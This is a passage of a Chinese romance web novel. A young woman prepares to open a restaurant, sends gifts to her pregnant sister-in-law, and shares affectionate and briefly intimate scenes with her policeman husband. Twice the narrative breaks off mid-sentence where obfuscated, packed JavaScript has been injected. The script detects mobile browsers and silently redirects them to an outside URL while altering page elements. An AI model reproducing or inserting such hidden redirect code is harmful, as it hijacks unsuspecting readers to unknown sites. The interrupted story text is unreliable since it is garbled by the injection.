价格也谈好了,盒饭的话是一荤两素,一盒饭一盒菜是一块五,单独加饭是三毛钱一份。 工地上的劳动强度大,工人们饭量也就大,一个人最少也要两盒饭才够。至于面点,则按照徐秀竹对外出售的九折算。 虽然刘峰不在,但他的几个朋友依然认真负责,一周后准时交工。 徐秀竹看着大变样的饭馆,十分满意,很痛快的结清了尾款,还一人给买了两包烟。 张淑华是个闲不住的性格,装修公司的人一走,她就开始收拾。 徐秀竹背起她的小挎包,说道:“姐,我有事先出去一趟,等我明天来咱们一起收拾。” “你忙你的,这里交给我就行。”张淑华正在清理装修剩下的废料,有些还能二次利用,她觉得扔了怪可惜的,收起来,说不定哪天就能用上。 徐秀竹离开饭馆后直接去了百货商场。算算日子,陈远红也快生了。她想准备些产妇和小孩用得上的东西,邮寄给她,也是一份心意。 商场里的商品琳琅满目,徐秀竹看得眼睛都花了。她也没着急买,而是一家一家的看过去,问问价格,再比比质量,做到心里有数。 从前赵春梅把钱看得紧,过日子很仔细,一分钱恨不得都要掰成两半花。徐秀竹从小听着看着,耳濡目染,渐渐也养成了舍不得花钱的性格,对自己总是扣扣嗖嗖的,一件衣服洗了又洗,补了又补,也舍不得换件新的。 可该花的钱徐秀竹从来都不含糊。她也愿意给她喜欢的人花钱,那种感觉让她觉得很幸福,比给自己花钱心里还舒坦。 徐秀竹很喜欢逛商场,哪怕什么都不买也愿意逛。从前在家的时候,每次到镇上,她总是不厌其烦的去供销社和百货楼转转,镇上那个只有二层高的百货楼她去了很多次,谁家卖什么她都门儿清。 在商场里,徐秀竹能直观的感受到时代在不断的发展变化。当下人们喜欢什么,流行什么,什么东西最畅销,都能在商场里找到答案。 徐秀竹从一楼逛到了四楼,又从四楼下到一楼,看得差不多了,她开始买东西。 她对陈远红的印象很好。陈远红比她大一些,因为大大咧咧的性格,从小就是孩子王,小时候她们还一起捉过蝌蚪。 后来因为赵春梅的原因,除了梁喜枝,很多小孩都不敢来找她,渐渐地也就和陈远红疏远了,但没想到因为陈远洲的缘故,和她成了亲人。 陈远洲下班回来,一进门就注意到了沙发上的大包裹。 徐秀竹从厨房出来,说道:“明天你有时间吗?咱们去一趟邮局,把这些东西邮给远红。” “都是给她的?”陈远洲翻了翻。 “也不全是。”徐秀竹一样一样拿出来给陈远洲介绍。 有给陈远红和小婴儿买的衣服,选的都是柔软又亲肤的面料。 陈远红爱美,给她买了两套护肤品,售货员说成分很安全,她用正合适。 还有几包阿胶和红枣,是给陈远红补气血用的。 她还买了两本育儿书。 再就是婴儿能用上的奶粉、奶瓶、小玩具,还有一个长命锁...... 还有一个手链也是给陈远红的。这原本是徐秀竹相中的,她还试戴了,确实好看,可一问价格后,她瞬间就觉得手链也没那么好看了。她都已经离开商场了,最后想了想又返了回去。她觉得陈远红应该也会喜欢,就买下来送给她。 除此之外,徐秀竹还细心周到的给陈家其他人也买了礼物,就连陈远洲也有一支名牌钢笔。 陈远洲也记得陈远红的预产期,他原本是打算往家里汇些钱,就当是给她和小孩的红包,简单又省事。可没想到徐秀竹想得很周到,置办的这么齐全。 见陈远洲一直不说话,徐秀竹还有些担心。她今天确实花了不少钱,陈远洲该不会是生气了吧? “我觉得这些东西还都挺实用的,所以就买了......”徐秀竹说话一下子没了底气。 陈远洲看着徐秀竹小心翼翼解释的样子,心里忽然一揪,连忙把人抱进怀里。 “怎么什么都没给自己买呢?”陈远洲抱着徐秀竹,一只手轻轻抚摸着她的背。 “我什么都不缺。”徐秀竹稍稍松了口气,小声道:“我还以为你生气了呢。” “我是生气了。”陈远洲紧了紧怀里的人。 “是因为我乱花钱吗?”徐秀竹声音小得像蚊子哼哼。 陈远洲松开徐秀竹,垂眸看着她的眼睛,一字一句认真道:“我生气,是因为你为什么不能对自己好一些。” 徐秀竹懵懵懂懂的眨了眨眼,“我觉得现在这样就很好了。” “可我希望你无论何时何地,何种情况,都能把自己放在第一位。”陈远洲宠溺的捏了捏她的脸颊,“我希望你可以活得自私一些,永远以自我感受为先,任何人,包括我,我们未来的孩子,都不能撼动你在你心里的主体位置。” 天知道陈远洲这番话对徐秀竹的触动有多大。 徐秀竹长到这么大,听了太多“你要懂事、你要孝顺、你要付出、你要任劳任怨......”,还是第一次有人这么直白的告诉她,“你可以自私一些”。 可是“自私”,真的好吗? 徐秀竹觉得自己的眼眶湿漉漉的,害怕自己下一秒就哭出来,她笑着打岔道:“自私可不是什么好词,现在不都讲谦让是美德嘛。” 陈远洲扬了扬眉,颇有几分无赖的气质说道:“都是第一次做人,凭啥让?” 徐秀竹被他幼稚的语气逗笑,手指戳了戳他的胸口,打趣道:“这可不像是人民警察说出来的话。” “我是人民警察,我也是你老公。” 说完陈远洲就从陈远红那包东西里翻出了手链,直接给徐秀竹戴上。 戴上之后他握着徐秀竹纤细的手腕看了看,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630067|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分双标的说道:“这么好看的手链,还得是我媳妇戴才行,陈远红那小手脖都胖成猪蹄儿了,给她浪费。” 徐秀竹看了看手链,又看了看陈远洲,笑着笑着,忽然感觉到有滴眼泪从脸庞滑落。 远在千里之外的陈远红正在啃猪蹄,忽然打了个喷嚏,给一旁的周到吓得立马立正,大喊道:“咋了老婆?是不是要生了?是不是要生了啊!” 陈远红一脸嫌弃道:“你不要那么紧张,我还能一个喷嚏把你儿子打出来?” 和陈远红的松弛相比,周到最近简直就是草木皆兵,稍微有点风吹草动,就立马进入戒备状态,可就是这样他还没忘了念叨一遍:“是女儿,老婆咱生的一定是女儿哈。” 陈远红已经懒得理他,很多老人看过她的肚子,说她这胎肯定是儿子。都说怀女儿妈妈会变得漂亮,可她整个孕期皮肤糙得就跟麻土豆似的,一点也不漂亮。 第二天,徐秀竹和陈远洲去邮局给陈远红邮了东西,还顺便寄了两封信,一封是给家里的,一封是给梁喜枝的,不过就是说说现在的日子,以及饭馆要开业的消息。 徐秀竹的中药前两天就喝完了,她觉得还是有些效果的,感觉手和脚没有那么凉了。复查之后何大夫根据她的情况又开了半个月的药量,还说药补只是一方面,主要还在于日常的保养。她还让徐秀竹心态放松,不要总想着怀孕的事,顺其自然的效果反而更好。 晚上两个人刚躺在床上,陈远洲就腻腻歪歪的贴了过来。他吻得又急又热烈,徐秀竹只能抱着他,顺从的闭上了眼睛。 就在徐秀竹马上要缴械投降时,稍稍恢复了一丝理智,于是她赶忙一把推开了陈远洲。 箭在弦上的陈远洲眼睛微红的看着徐秀竹,哑着嗓子道:“怎么了?” “等一下。”徐秀竹平复了一下急促的呼吸,她舔了舔嘴唇,下定决心道:“陈远洲,我暂时……不想要小孩了。” 陈远洲听到这话,脑子有一瞬的短路,他的第一反应是“徐秀竹不想要他的孩子”。 好在他很快就反应过来,问道:“因为饭馆的事?” “嗯。”徐秀竹点点头。她跟陈远洲说她和刘峰谈好了工地午餐的事,等开业后肯定也会很忙。在饭馆没步入正轨之前,她怕自己万一怀孕了,会耽误事。 之前说喜欢小孩的是她,现在提出暂时不要孩子的也是她,徐秀竹怕自己翻来覆去的变卦会让陈远洲有什么想法。 “好。”陈远洲凑过去亲了亲她,“孩子的事不着急,你还小呢。” 在陈远洲眼里,二十二岁的徐秀竹自己都还是个小姑娘呢,况且她还有很多想做的事没做,真要是因为孩子绊住了脚步,他也不忍心。 徐秀竹嘟囔了一句:“我都二十二了。” 陈远洲笑着揽过徐秀竹,学着她的语气:“哎呦,都二十二了,厉害呢。” 徐秀竹忽然有点不好意思,“那现在……” 陈远洲翻身拉开床头柜的抽屉,从里面拿出两个避孕套,然后伸手扣住徐秀竹的腰,把人贴向了自己。 “继续。” 33. 第33章 第33章 徐秀竹把开业日期定在了六月十八号,张淑华翻了一下日历,发现那天还是端午节。 “我们可以提前准备一些粽子和茶叶蛋,免费送给来吃饭的顾客。”徐秀竹提议道。 “这个主意好!”张淑华说她很会包粽子,交给她就行。 徐秀竹和张淑华商量了一下饭馆开业后的分工。她负责炒菜,张淑华负责白案,做面食,顺便继续卖自家的油炸糕。 张淑华之前在国营饭店干过两年白案,她试着做了几次徐秀竹常卖的几种面点,已经基本掌握了要领。徐秀竹还特意把张淑华做的面点拿给郝行,可郝行根本没吃出有什么差别。 徐秀竹说等李胜恢复以后,店里的采买和给工地送饭的任务就交给他。 对于徐秀竹的信任,张淑华两口子都很感动。 徐秀竹觉得人与人之间的信任有时候就是这么奇妙。有些人你可能认识了很久,但就是无法交心,有些人你只是几面之缘,但却是一见如故。 张淑华和李胜每个月有工资拿,卖面点的收入张淑华也会有分成,徐秀竹还承诺卖油炸糕的收入全归他们二人。张淑华之前在市场也要交摊位费,她不好意思白占便宜,执意要交房租。 徐秀竹则说前期还不知道饭馆效益怎么样,所以暂时不打算招洗菜备菜的人,这就需要张淑华顶替一下,张淑华一听心里总算踏实了。 现在还缺一个服务员,徐秀竹写了招聘启示,贴在了饭馆的窗户上。 通过这段时间在菜市场的摸索,徐秀竹也确定了蔬菜和肉该在哪里采购。 徐静知道徐秀竹打算开饭馆后也替她高兴,还说开业那天肯定来捧场。 李有福还给徐秀竹推荐了一家粮油店,说之前他用的都是在那家买的。 徐秀竹去了一趟,可老板看她年轻,觉得好糊弄,给她推销的都是一些陈米陈面。这些东西徐秀竹甚至都不用看,她闻一下就知道不行。 老板看她是个懂行的,就借口说自己拿错了,把今年的新粮拿给她看。可徐秀竹觉得老板人不实在,对他的印象大打折扣,也没听他辩解,直接走了。 陈远洲知道她为了粮食的事发愁,下班之后就带她去了位于另一条街上的粮油店。 “好一家粮油店?”徐秀竹觉得这店名还挺有意思。 “买啥?”老板是个大嗓门,他听见声音后磨磨蹭蹭的从屋里走出来,看清陈远洲后立马呲着大板牙笑道:“陈队!” 来之前陈远洲跟徐秀竹说过这家店的老板。老板叫孙大虎,之前是开诊所的。从诊所到粮油店,徐秀竹觉得这跨度还真不是一般的大。 自从孙大虎决定不再干那缺德生意之后,他就找门路开了这么一家粮油店。开业之后他直接扛了一袋子大米送到了刑侦队,顺便打了波广告。 他送的大米刑侦队自然是没收。当时是赵无双把人送出去的,孙大虎朝着他竖大拇指,他说不愧是干公安的,个个都这么有原则。 赵无双一脸骄傲,他说那当然了,我们警察从来不拿群众一针一线。 之后一来二去的,这俩人还处成了朋友。 陈远洲说明来意后,孙大虎立马精神了,他指着货架子上七扭八歪摆着的袋子,让徐秀竹随便挑,随便看。 徐秀竹上前闻了闻,清新淡雅的米香和浓郁温暖的面香让她的心情瞬间变好,她连袋子都没打开,直接要了几袋子。孙大虎被她的操作弄得一愣,心想这是啥招式? 谈好价钱后,孙大虎留了饭馆的地址,他说明天会送货上门。 解决了一件大事,回家的路上徐秀竹的脚步都轻快了。 晚上吃完饭,徐秀竹就开始制定饭馆的菜谱。她在本子上写了又划,划了又写,半天确定不下来。 徐秀竹从小生长在南方,她的口味偏好其实和东北人差的还挺多。她平时做菜的时候,会习惯性的把南北方的口味融合一下,虽然味道也不错,但这就容易造成一种四不像的感觉。 如今她是要开店,万一来的客人觉得她的菜不地道,该怎么办呢? 陈远洲正在翻着一本《刑事侦查方法论》,回头就看到徐秀竹秀气的眉毛又拧到了一起。 他从后面把人圈在怀里,看着她划得乱七八糟的本子,笑着问道:“徐老板这是遇到什么困难了?” 徐秀竹肩膀一缩,说出了自己的顾虑。 “你可以换个角度想一下。”陈远洲开导她:“你是打算开个东北菜馆吗?” 徐秀竹摇了摇头。她一个南方人,开店卖东北菜,那不是开玩笑呢吗? “那你还纠结什么。”陈远洲把人转了过来,低头看着她,一本正经道:“你又没说自己卖的是正宗东北菜,那还怕什么不正宗?你要记住,你现在正在做一件更了不起的事,你把南北两种饮食文化结合在一起,你这是在创新。” 徐秀竹听得一愣一愣的,她忽然觉得自己的脖子有点酸,是被陈远洲给她扣得大帽子压的发酸。 “陈远洲。”徐秀竹双手捧着他的脸,眨着星星眼道:“我之前怎么没发现你这么擅长胡说八道呢。” 陈远洲抓过徐秀竹的左手放在唇边亲了一下,“全是肺腑之言。” “好想看看你的肺腑里都装了些什么。” “都是你。” 陈远洲话音一落,屋子里瞬间安静。 徐秀竹抿紧嘴唇,片刻后,她摸了摸有点发热的耳朵,说道:“要不你还是好好说话吧,你这样我觉得有点腻。” “我也觉得有点油。”陈远洲直起腰,一秒恢复正常。 白天在刑侦队里,姜越给大家传授爱情保鲜的秘诀。他说他和媳妇结婚五年,之所以还处于热恋,很重要的一点就是女人都是感性的,要多说点肉麻的话,她们会喜欢。 陈远洲是一个学习能力很强的人,于是他记住了。 但是他现在想忘掉了。 他希望徐秀竹也能忘掉。 有了陈远洲的开解,徐秀竹很快确定好了菜单。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643311|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的字迹和人一样娟秀,陈远洲看完后问道:“那徐老板打算挂几个幌子?” “徐老板”这三个字已经成了陈远洲的专属称呼,徐秀竹已经听习惯了,她问道:“挂什么幌子?” 陈远洲给她科普了一下。他说开饭店挂幌子,是东北的习俗。幌子就相当于招牌。 不同颜色、不同数量的幌子也有不同的说法。 红色的幌子就代表是汉族人开的店,蓝色的幌子则是清真饭店,而黄色的幌子则说明这是一家素食店。 幌子上面的塑料花代表馒头,圆盘代表卖包子,长长的穗儿则代表了面条。 大家下馆子也会看幌子。 一个幌子的通常是小店,厨师做什么,客人就吃什么,来这的客人主要就是为了填饱肚子。 两个幌子的店规格会相对高一些,店里会有菜单,客人可以按照需求根据菜单点菜。 四个幌子的店规模会更大,装修更高档,还可以承办红白喜事,但凡是店里主打的菜系,可以任意点菜。 徐秀竹还是第一次听这种说法,她觉得很新奇。之前她看见有的饭馆面前挂了幌子,她还以为是老板用来做装饰的。 陈远洲记得八十年代之前几乎所有的店都会挂幌子,但九十年代之后这个习俗就渐渐消失了,于是说不挂也可以。 徐秀竹觉得这个习俗还挺有趣的,于是一拍桌子,十分豪气道:“最多的是挂几个幌子?” “八个。” 目前滨城只有一家叫“福天来”的饭庄敢挂八个幌子。据说八个幌子就代表你进店可以随便点菜,无论南北菜系,只要你说得出来,店里就做得出来。 “好!”徐秀竹豪迈的伸出两根手指,比了个耶,“那我就先挂两个幌子!” 陈远洲笑道:“听你这语气,我还以为你要挂八个呢。” 徐秀竹攥了攥拳头表示决心:“两个幌子是基于现实,八个幌子是我的终极目标。” 陈远洲竖大拇指:“好样的,那我以后就抱紧徐老板的大腿了。” “没问题,现在你正好有一个表现的机会。”徐秀竹说完就去拿毛笔和墨汁,又找了几张旧报纸。 徐秀竹见过陈远洲的字,她觉得很大气,很有力量感。饭馆的牌匾还没做,徐秀竹希望“真心饭馆”这四个能是陈远洲写的。 陈远洲小时候确实跟爷爷学过书法,可这么多年没写,实在是手生。他又不忍心让徐秀竹失望,就拿起毛笔练了几遍。 徐秀竹坐在一旁看着,此时的陈远洲是她不曾见过的安静与专注。 梁喜枝总说陈远洲长得凶巴巴的,每次来信都要问一遍陈远洲对她好不好,会不会骂人,会不会打人。徐秀竹也不厌其烦的一遍遍告诉她,陈远洲真的不凶。 徐秀竹忽然希望自己能有个照相机,这样就可以拍下陈远洲现在的样子,然后把照片寄给梁喜枝。 她还会在照片后面写上一句肉麻的话——— “我有点为他着迷。”